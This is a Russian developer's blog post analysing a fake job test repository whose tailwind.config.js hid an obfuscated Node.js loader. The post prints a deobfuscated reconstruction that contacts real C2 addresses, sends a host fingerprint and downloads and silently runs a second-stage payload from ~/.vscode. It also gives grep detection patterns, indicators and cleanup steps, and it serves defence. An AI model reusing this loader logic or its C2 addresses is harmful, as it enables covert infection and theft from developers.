Бэкдор вместо тестового

от автора

TL;DR:

В GitHub-репозитории для тестового задания был вредоносный код, спрятанный в tailwind.config.js. Сначала файл выглядел как обычный Tailwind-конфиг, но в конце была длинная обфусцированная JS-строка. При загрузке конфига код подключал fs, os, request, path, node:process и child_process, связывался с C2 на 78.142.218.26:1244 или 66.235.168.17:1244, отправлял минимальный фингерпринт машины, скачивал второй payload в ~/.vscode/f.js, создавал ~/.vscode/package.json, выполнял npm install и запускал payload в фоне через node/nohup. Иными словами, это был не обычный тестовый проект, а loader/downloader, замаскированный под frontend-задание.

Социальная часть

В LinkedIn мне написал некто, представившийся как Renz Andrey Barrion, с предложением работы. Страница уже удалена. Немного смутила подпись: «Project Manager at Bext360» (не утверждаю, что Bext360 причастна к нижеизложенному). Показалось странным, что пишет проджект, а не HR. Но да ладно, мало ли какие процедуры найма могут быть.

Renz сообщил, что в его компанию требуется Senior Front End Developer на неплохих условиях. Я скинул резюме, он расспросил об опыте, подробно описал процесс найма и предложил пройти тестовое, с чем я согласился – в последнее время какой-то ренессанс тестовых. Ренц скинул ссылку на https://github.com/Stash-Home/Home-assignment-u (тоже уже удалена).

При скачивании я обратил внимание на размер репозитория – больше 5 мегабайт, что как бы очень много для репы с тестовым заданием (понятно, что могут быть изображения, но все равно). Дополнительно удивило отсутствие форков: обычно тестовые репозитории форкаются кандидатами. Отсутствие форков нетипично для таких репозиториев.

Начал разбираться и обнаружил вот что.

На последней строчке tailwind.config.js была замаскированная большим количеством пробелов обфусцированная строка:

const a0ag=a0a1,a0ah=a0a1,...

Интересно, что же это такое?

Как устроена обфускация

В начале был массив base64-строк:

function a0a0() {  const bm = ['AM9PBG','ywnisNy','wgDkCKO', ...]  ...}

Далее массив циклически сдвигался до тех пор, пока выражение с parseInt(...) не даст нужное число:

(function(a0,a1){  const a2 = a0();  while (!![]) {    try {      const a3 = ...;      if (a3 === a1) break;      else a2.push(a2.shift());    } catch {      a2.push(a2.shift());    }  }}(a0a0, 0x7e0c4));

Цель этого – запутать соответствие индексов и строк.

Затем функция a0a1(...) достаёт строку из массива и декодирует её, что упрощённо выглядит так:

function decodeFromStringTable(index) {  const shiftedIndex = index - 0x113;  const encoded = stringTable[shiftedIndex];    return base64DecodeURIComponent(encoded);}

И мы получаем, например:

a0a1(0x137) => "utf8"a0a1(0x182) => "base6"a0a1(0x171) => "from"a0a1(0x125) => "toStr"a0a1(0x126) => "ing"

И потом собираем это:

Buffer.from(..., 'base64').toString('utf8')

Ещё один декодер отрезает первый мусорный символ, а остаток декодирует как base64:

function n(value) {  const withoutFirstChar = value.slice(1);  return Buffer.from(withoutFirstChar, 'base64').toString('utf8');}

Например:

n('ab3M') => 'os'n('bZnM') => 'fs'n('DcmVxdWVzdA') => 'request'n('NcGF0aA') => 'path'n('Xbm9kZTpwc...') => 'node:process'n('4Y2hpbGRf') + n('acHJvY2Vzcw') => 'child_process'

Некоторые строки спрятаны как массивы чисел и к ним применяется XOR с ключом:

const S = [0x70, 0xa0, 0x89, 0x48];function U(arr) {  let result = '';  for (let i = 0; i < arr.length; i++) {    result += String.fromCharCode((arr[i] ^ S[i & 3]) & 0xff);  }  return result;}

что даёт после расшифровки:

U([0x5e,0xd6,0xfa,0x2b,0x1f,0xc4,0xec]) => ".vscode"U([0x16,0x8e,0xe3,0x3b])                 => "f.js"U([0x0,0xc1,0xea,0x23,0x11,0xc7,0xec,0x66,0x1a,0xd3,0xe6,0x26])  => "package.json"U([0x5f,0xc6,0xa6]) => "/f/"U([0x5f,0xd0])      => "/p"U([0x13,0xc4]) => "cd"U([0x56,0x86,0xa9,0x26,0x0,0xcd,0xa9,0x21,0x50,0x8d,0xa4,0x3b,0x19,0xcc,0xec,0x26,0x4])  => "&& npm i --silent"U([0x1e,0xd0,0xe4,0x68,0x5d,0x8d,0xf9,0x3a,0x15,0xc6,0xe0,0x30])  => "npm --prefix"U([0x1e,0xcf,0xed,0x2d,0x2f,0xcd,0xe6,0x2c,0x5,0xcc,0xec,0x3b])  => "node_modules"U([0x1e,0xcf,0xe1,0x3d,0x0]) => "nohup"

После деобфускации ключевая часть выглядит примерно так:

const os = require('os');const fs = require('fs');const request = require('request');const path = require('path');const process = require('node:process');const child_process = require('child_process');const homeDir = os.homedir();const hostname = os.hostname();const platform = os.platform();const userInfo = os.userInfo();const primaryC2 = 'http://78.142.218.26:1244';const fallbackC2 = 'http://66.235.168.17:1244';const campaignId = '90284f6b7643';

Упрощённый псевдокод вредоноса

Это упрощённая реконструкция логики (C2 в тексте это «Command and Control», то есть сервер командования и управления):

/** * Entry point вредоносного кода. * * Инициализирует timestamp текущего запуска и начинает первый этап связи * с управляющим сервером. * * В оригинальном коде эта функция вызывается сразу при загрузке * `tailwind.config.js`, то есть во время dev/build процесса. * * Поведение: * 1. Сохраняет время запуска. * 2. Пытается связаться с основным C2-сервером. * 3. При ошибке дальше сработает fallback-логика. * * @returns {void} */function main() {  timestamp = Date.now().toString();  tryHandshake(0);}/** * Пытается выполнить первичный handshake с сервером. * * Функция отправляет GET-запрос на `/s/<campaignId>`. * Первый вызов идёт на основной сервер. Если основной сервер недоступен, * код пробует fallback. * * Этот этап нужен вредоносу, чтобы получить актуальный адрес сервера * и тип payload, который нужно скачать. * * @param {number} index * Индекс сервера в списке. * `0` — основной сервер. * `1` — fallback-сервер. * * @returns {void} */function tryHandshake(index) {  const url = `${C2[index]}/s/${campaignId}`;  request.get(url, (error, response, body) => {    if (error) {      if (index < 1) {        tryHandshake(1);      }      return;    }    if (!parseServerResponse(body)) {      return;    }    reportHost();    downloadAndRunPayload();  });}/** * Разбирает ответ C2-сервера после handshake-запроса. * * Оригинальный код ожидает, что ответ начинается с маркера `ZT3`. * Всё, что идёт после `ZT3`, декодируется из base64. * * После декодирования вредонос ожидает строку примерно такого формата: * * `<host>,<type>` * * Где: * - `host` — актуальный C2-host, с которого дальше будут скачиваться payload и package.json. * - `type` — идентификатор или вариант payload. * * Если формат ответа не подходит, функция возвращает `false`, * и дальнейшее выполнение прекращается. * * @param {string} body * Тело HTTP-ответа. * * @returns {boolean} * `true`, если ответ успешно разобран и глобальные значения `baseUrl` и `type` установлены. * `false`, если ответ не похож на ожидаемый C2-ответ. */function parseServerResponse(body) {  if (!body.startsWith('ZT3')) {    return false;  }  const encoded = body.slice(3);  const decoded = Buffer.from(encoded, 'base64').toString('utf8');  const parts = decoded.split(',');  baseUrl = `http://${parts[0]}:1244`;  type = parts[1];  return true;}/** * Отправляет информацию о заражённой машине на сервер злоумышленников. * * Функция делает POST-запрос на `/keys` и передаёт набор данных, * по которым оператор вредоноса может идентифицировать машину и контекст запуска. * * В отправляемые данные входят: * - timestamp запуска; * - тип payload, полученный от C2; * - hostname; * - username на macOS; * - путь или аргумент процесса, из которого был запущен код. * * Название `/keys` может вводить в заблуждение: по поведению это больше похоже * на регистрацию infected host/beaconing, а не обязательно на отправку * криптографических ключей. * * @returns {void} */function reportHost() {  let hostId = hostname;  if (platform[0] === 'd') {    hostId = `${hostId}+${userInfo.username}`;  }  let commandContext = '5A1';  try {    commandContext += process.argv[1];  } catch {}  request.post({    url: `${baseUrl}/keys`,    formData: {      ts: timestamp,      type,      hid: hostId,      ss: 'oqr',      cc: commandContext,    },  });}/** * Скачивает второй этап вредоноса и готовит его к запуску. * * Функция создаёт директорию `~/.vscode`, если её ещё нет. * Затем скачивает JS-payload с C2 и сохраняет его как `f.js`. * * Использование `~/.vscode` выглядит как попытка маскировки: * такая папка может показаться разработчику нормальной частью окружения * VS Code/Cursor. * * Если создать `~/.vscode` не удалось, код использует домашнюю директорию * пользователя как fallback. * * @returns {void} */function downloadAndRunPayload() {  let targetDir = path.join(homeDir, '.vscode');  try {    fs.mkdirSync(targetDir, { recursive: true });  } catch {    targetDir = homeDir;  }  const payloadPath = path.join(targetDir, 'f.js');  try {    fs.rmSync(payloadPath);  } catch {}  request.get(`${baseUrl}/f/${type}`, (error, response, body) => {    if (error) return;    try {      fs.writeFileSync(payloadPath, body);    } catch {}    downloadPackageJson(targetDir);  });}/** * Скачивает `package.json` для созданного вредоносом локального npm-проекта. * * После скачивания `f.js` вредонос также скачивает `package.json` * с C2 endpoint `/p`. * * Это нужно для установки зависимостей, которые потребуются скачанному payload. * То есть вредонос создаёт отдельный npm-проект внутри `~/.vscode`. * * В оригинальной логике есть сравнение размера: * если уже существующий `package.json` меньше нового тела ответа, * файл перезаписывается. * * @param {string} targetDir * Директория, куда ранее был сохранён `f.js`. * Обычно это `~/.vscode`. * * @returns {void} */function downloadPackageJson(targetDir) {  const packagePath = path.join(targetDir, 'package.json');  let oldSize = 0;  if (fs.existsSync(packagePath)) {    try {      oldSize = fs.statSync(packagePath).size;    } catch {}  }  request.get(`${baseUrl}/p`, (error, response, body) => {    if (error) return;    try {      if (body.length > oldSize) {        fs.writeFileSync(packagePath, body);      }    } catch {}    installDependencies(targetDir);  });}/** * Запускает установку npm-зависимостей для скачанного payload. * * Функция выполняет команду вида: * * `cd "<targetDir>" && npm i --silent` * * Это означает, что вредонос пытается установить зависимости * из скачанного `package.json` без явного вывода в консоль. * * Флаг `windowsHide: true` на Windows скрывает окно процесса, * что является дополнительным признаком скрытного поведения. * * После завершения установки вызывается проверка `node_modules` * и запуск payload. * * @param {string} targetDir * Директория локального npm-проекта, созданного вредоносом. * * @returns {void} */function installDependencies(targetDir) {  child_process.exec(    `cd "${targetDir}" && npm i --silent`,    { windowsHide: true },    () => {      ensureNodeModulesAndRun(targetDir);    },  );}/** * Проверяет наличие `node_modules` и при необходимости повторяет установку зависимостей. * * Если после первой команды `npm i --silent` директория `node_modules` * не появилась, вредонос запускает альтернативную команду: * * `npm --prefix "<targetDir>" i` * * Это повышает шанс успешной установки зависимостей в разных окружениях. * * Если `node_modules` уже существует или повторная установка завершилась, * функция переходит к запуску payload. * * @param {string} targetDir * Директория, где лежат `f.js`, `package.json` и потенциальный `node_modules`. * * @returns {void} */function ensureNodeModulesAndRun(targetDir) {  const nodeModules = path.join(targetDir, 'node_modules');  if (!fs.existsSync(nodeModules)) {    child_process.exec(      `npm --prefix "${targetDir}" i`,      { windowsHide: true },      () => runPayload(targetDir),    );  } else {    runPayload(targetDir);  }}/** * Запускает скачанный `f.js` как отдельный фоновый процесс. * * Поведение отличается по платформам: * * На Windows: * - запускается текущий Node.js runtime через `process.execPath`; * - аргументом передаётся `f.js`; * - рабочая директория — `targetDir`; * - окно процесса скрывается через `windowsHide: true`; * - stdio игнорируется. * * На Linux/macOS: * - используется `nohup`; * - процесс запускается detached; * - stdin/stdout/stderr перенаправляются в ignore или `/dev/null`; * - после `unref()` процесс отвязывается от родителя. * * Итог: payload может продолжить работу даже после завершения npm/build-процесса, * который изначально загрузил `tailwind.config.js`. * * @param {string} targetDir * Директория, из которой будет запущен `f.js`. * * @returns {void} */function runPayload(targetDir) {  if (platform[0] === 'w') {    const child = child_process.spawn(      process.execPath,      ['f.js'],      {        cwd: targetDir,        stdio: 'ignore',        windowsHide: true,      },    );    child.unref();  } else {    const child = child_process.spawn(      'nohup',      [process.execPath, 'f.js'],      {        cwd: targetDir,        detached: true,        stdio: ['ignore', '/dev/null', '/dev/null'],      },    );    child.unref();  }}

Что же тут происходит?

Сначала делается запрос на:

http://78.142.218.26:1244/s/90284f6b7643// фоллбек наhttp://66.235.168.17:1244/s/90284f6b7643

После декодирования ожидается строка вида:

<host>,<type>

Условно

example.com,abc

Тогда вредонос строит:

http://example.com:1244

И сохраняет

type = "abc"

Информация о жертве отправляется на:

http://<host>:1244/keys

С примерно такими данными:

{  ts: Date.now().toString(),               // timestamp запуска  type: typeFromServer,                    // тип/идентификатор payload, полученный от C2  hid: hostnameOrHostnamePlusUsername,     // host identifier  ss: 'oqr',                               // константа "oqr", вероятно, маркер кампании или версии  cc: '5A1' + process.argv[1]              // строка "5A1" + путь к текущему скрипту/процессу}

Интересный момент:

if (platform[0] === 'd') {  hid = hostname + '+' + username;}

os.platform() возвращает:

win32linuxdarwin

То есть username добавляется именно для macOS (darwin).

Затем происходит попытка создать директорию:

~/.vscode

А если не получается, используется просто домашняя папка:

let targetDir = path.join(os.homedir(), '.vscode');try {  fs.mkdirSync(targetDir, { recursive: true });} catch {  targetDir = os.homedir();}

Почему .vscode? Это хороший выбор для атаки. Такая папка выглядит привычно для разработчика и не бросается в глаза рядом с расширениями VS Code или Cursor.

Затем происходит скачивание:

http://<host>:1244/f/<type>

И payload записывается в ~/.vscode/f.js.

Затем данные с http://<host>:1244/p скачиваются и записываются в ~/.vscode/package.json.

Далее устанавливаются зависимости:

cd "~/.vscode" && npm i --silentnpm --prefix "~/.vscode" i

Это важно: код не просто скачивает f.js, а ещё и подготавливает отдельный npm-проект внутри домашней папки пользователя. То есть создаётся самостоятельный Node.js-проект вне репозитория. Даже если потом удалить папку с тестовым заданием, ~/.vscode/f.js и ~/.vscode/node_modules могут остаться в домашней папке. При этом основная логика вредоноса находится уже не в исходном репозитории, а в файле, скачанном на втором этапе.

Затем payload запускается в фоне:

// на Windowschild_process.spawn(process.execPath, ['f.js'], {  cwd: targetDir,  stdio: 'ignore',  windowsHide: true,});// на Linux/MacOschild_process.spawn('nohup', [process.execPath, 'f.js'], {  cwd: targetDir,  detached: true,  stdio: ['ignore', '/dev/null', '/dev/null'],});

И после этого процесс отвязывается от родительского процесса и продолжает жить отдельно:

child.unref();

Есть небольшой интервал (10 минут 16 секунд), с которым вредонос пытается скачать данные, если сервер временно недоступен. Через несколько попыток интервал очищается.

Что же отправляется?

Кажется, что отправляется не так много. os.userInfo() возвращает примерно такой объект:

{  username: "john",  uid: 1000,  gid: 1000,  shell: "/bin/bash",  homedir: "/home/john"}

Но на первом этапе используется только userInfo.username, и то только если платформа macOS. На Linux/Windows username не добавляется.

И хотя код отправляет не так много, сервер всё равно видит сетевые метаданные:

  • source IP address;

  • время подключения;

  • порт назначения;

  • HTTP path;

  • возможные HTTP headers от Node request library.

Кроме того, первый handshake идёт на GET /s/90284f6b7643, что позволяет понять, из какого репозитория пришёл запуск.

На первом этапе нет прямого чтения SSH-ключей, .env-файлов, cookies, browser profiles, GitHub tokens или содержимого проектов. Но он скачивает f.js, внутри которого, по-видимому, и будет содержаться основная вредоносная логика.

Иными словами, видимый код в tailwind.config.js – это не полноценный похититель данных, а загрузчик. Он отправляет минимальный фингерпринт машины и запускает второй этап, который уже может выполнить основной сбор данных.

Что ещё было подозрительно в репозитории?

В package.json были такие зависимости:

"child_process": "^1.0.2","crypto": "^1.0.1","fs": "^0.0.1-security","path": "^0.12.7"

Это core-модули Node.js. В нормальном проекте их не ставят из npm.

Какие выводы и уроки?

Никогда не запускайте чужой проект сразу. Опасными могут быть даже:

npm installnpm ciyarnpnpm install

Перед запуском попробуйте поискать опасные паттерны:

grep -RInE \  "child_process|execSync|spawn|eval\(|Function\(|atob\(|Buffer\.from|curl|wget|powershell|EncodedCommand|nohup|/dev/null|\.vscode|AppData|os\.homedir|os\.userInfo|request\(|fetch\(|http://|https://" \  . \  --exclude-dir=node_modules \  --exclude-dir=.git \  --exclude-dir=dist \  --exclude-dir=build

Проверяйте package.json на подозрительные зависимости:

"preinstall": "...","install": "...","postinstall": "...","prepare": "...","child_process": "...","fs": "...","path": "...","crypto": "..."

Как уже говорилось, это core-модули Node.js, в нормальном проекте они не должны быть npm-зависимостями.

Устанавливайте зависимости только с отключёнными lifecycle-скриптами:

npm ci --ignore-scriptsnpm install --ignore-scriptspnpm install --ignore-scriptsyarn install --ignore-scripts

Но помните, флаг —ignore-scripts защищает только от npm lifecycle-скриптов. Он не защитит, если потом вы запускаете npm run dev, а dev-сервер загружает вредоносный tailwind.config.js, vite.config.js, webpack.config.js, nuxt.config.ts и т.д. Не забывайте, что эти конфиги – это не просто JSON-настройки. Это JS/TS-код, который выполняется Node.js во время dev/build. Поэтому вредонос в таком файле может выполниться без отдельного явного запуска.

Вообще, лучше запускать чужие проекты на отдельной виртуальной машине или отдельном WSL в изолированной среде.

Не открывайте чужой проект в IDE сразу в доверенном режиме, а помечайте его как untrusted.

Можно сделать в чужом проекте быстрый поиск IP/URL, так как их наличие в config-файлах, особенно на нестандартных портах – это сильный красный флаг:

rg -n \  "https?://|[0-9]{1,3}(\.[0-9]{1,3}){3}|localhost|127\.0\.0\.1|webhook|telegram|discord|ngrok|pastebin|gist|raw\.githubusercontent" \  -g '!node_modules' \  -g '!.git'

Критически оцените GitHub-аккаунт, с которого качаете. На странице https://github.com/Stash-Home виден странный набор проектов: serenity, typst, fontations, zune-image, blend2d-apps, cmap-resources, covbot, learning-php и т.д. Многие из них выглядят как копии известных open-source проектов, а не как собственные проекты. Например, serenity описан как “The Serenity Operating System”, содержит 66 605 коммитов, но у него аж целых 0 звёзд и 0 форков. Это должно вас насторожить.

Я не могу утверждать, был ли аккаунт Stash-Home изначально создан злоумышленником или был скомпрометирован. Но публичные признаки выглядят подозрительно: много копий известных проектов, нулевая социальная активность, следы однотипных automated update-коммитов.

Ну и обращайте внимание на размер скачанного репозитория 🙂

Ну а если вы всё же запустили такой проект, то:

  1. Отключите интернет или закройте подозрительные процессы;

  2. Проверьте ~/.vscode/f.js и ~/.vscode/package.json;

  3. Проверьте процессы node/npm/powershell/cmd;

  4. Проверьте автозапуск и scheduled tasks;

  5. Смените токены, которые могут быть доступны: GitHub, GitLab, npm, SSH, cloud credentials и т.д.;

  6. Запустите полную проверку антивирусом/защитником.

P.S. На всякий случай вот хэши архива репозитория и файла конфига:

Archive SHA256:4ab54628c32954056033146013ec962fa3e52a1f261f69ce526c71793a6d6e13tailwind.config.js SHA256:b19ed4f3161fdf569309272fff3fa3fbf46eab7a142b314244a363a1d552f4deC2:78.142.218.26:124466.235.168.17:1244Paths:~/.vscode/f.js~/.vscode/package.json

P.P.S. Пользуясь случаем, хочу сказать то, что касается нас как сообщество разработчиков. Тестовые задания – это зло и пережиток царского прошлого. Сегодня они почти ничего не позволяют оценить. Они отнимают наше время, которое мы могли бы потратить на собственные проекты и развитие. То, что я согласился выполнить это тестовое, меня не красит. Впрочем, я его и не выполнил. И чем больше мы, разработчики, будем отказываться выполнять тестовые задания, тем быстрее эта порочная практика окончательно уйдёт в прошлое. ИМХО, бойкот тестовых заданий – это благо для нас как для профессионального сообщества.

ссылка на оригинал статьи https://habr.com/ru/articles/1033468/